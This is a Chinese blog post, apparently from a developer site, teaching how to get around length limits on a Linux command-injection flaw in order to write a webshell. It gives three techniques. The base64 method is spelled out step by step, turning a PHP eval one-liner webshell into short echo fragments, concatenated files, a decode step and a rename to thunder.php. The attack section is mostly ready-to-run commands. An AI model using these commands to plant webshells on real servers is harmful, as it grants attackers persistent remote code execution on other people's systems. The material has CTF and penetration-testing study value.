Linux环境下绕过长度限制写入webshell

前提

  • 当命令执行漏洞对长度有限制时,我们可以通过一些Linux命令生成文件进行执行。

  • 如果应用程序是使用shell解析器来执行命令或文件,那么不需要该文件具有执行属性(x)

  • 如果应用程序没有shell解析器,那么写入文件内容时,可以第一条语句写入#! /bin/sh,这样文件即使没有执行属性也可以执行

方法一:使用>>每次添加一部分命令到文件中

echo -n "cmd1" > r;
echo -n "cmd2" >> r;
echo -n "cmd3" >> r;
echo "cmd4" >> r;
  • 然后使用cat r | bash执行命令

方法二:使用换行执行和ls -t绕过长度限制

  • linux中,文件中的命令如果需要换行书写,需要在前一行末尾增加\,如文件a中有

ca\
t flag.t\
xt
  • 使用sh a即可执行命令cat flag.txt

方法三:命令通过base64编码输入

1、首先将我们的一句话话进行base64编码

echo "<?php @eval(\$_REQUEST[123]);?>" | base64
PD9waHAgQGV2YWwoJF9SRVFVRVNUWzEyM10pOz8+Cg==     //返回结果

2、依次每3个字符的写入到一个文件中

其中-n是令后面不会自动加入换行,方便拼接。
echo -n PD9>a;
echo -n waH>b;
echo -n AgQ>c;
echo -n GV2>d;
echo -n YWw>e;
echo -n oJF>f;
echo -n 9SR>g;
echo -n VFV>h;
echo -n RVN>i;
echo -n UWz>j;
echo -n EyM>k;
echo -n 10p>l;
echo -n Oz8+>m;

3、然后组合刚才生成的这些文件到一个文件中。

cat a b>z;
cat z c>y;
cat y d>z;
cat z e>y;
cat y f>z;
cat z g>y;
cat y h>z;
cat z i>y;
cat y j>z;
cat z k>y;
cat y l>z;
cat z m>y;

4、将y里面的base64编码进行转回源码并且改名为php文件。

base64 -d y>x;
mv x thunder.php;

5、连接webshell进行测试,可以正常利用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值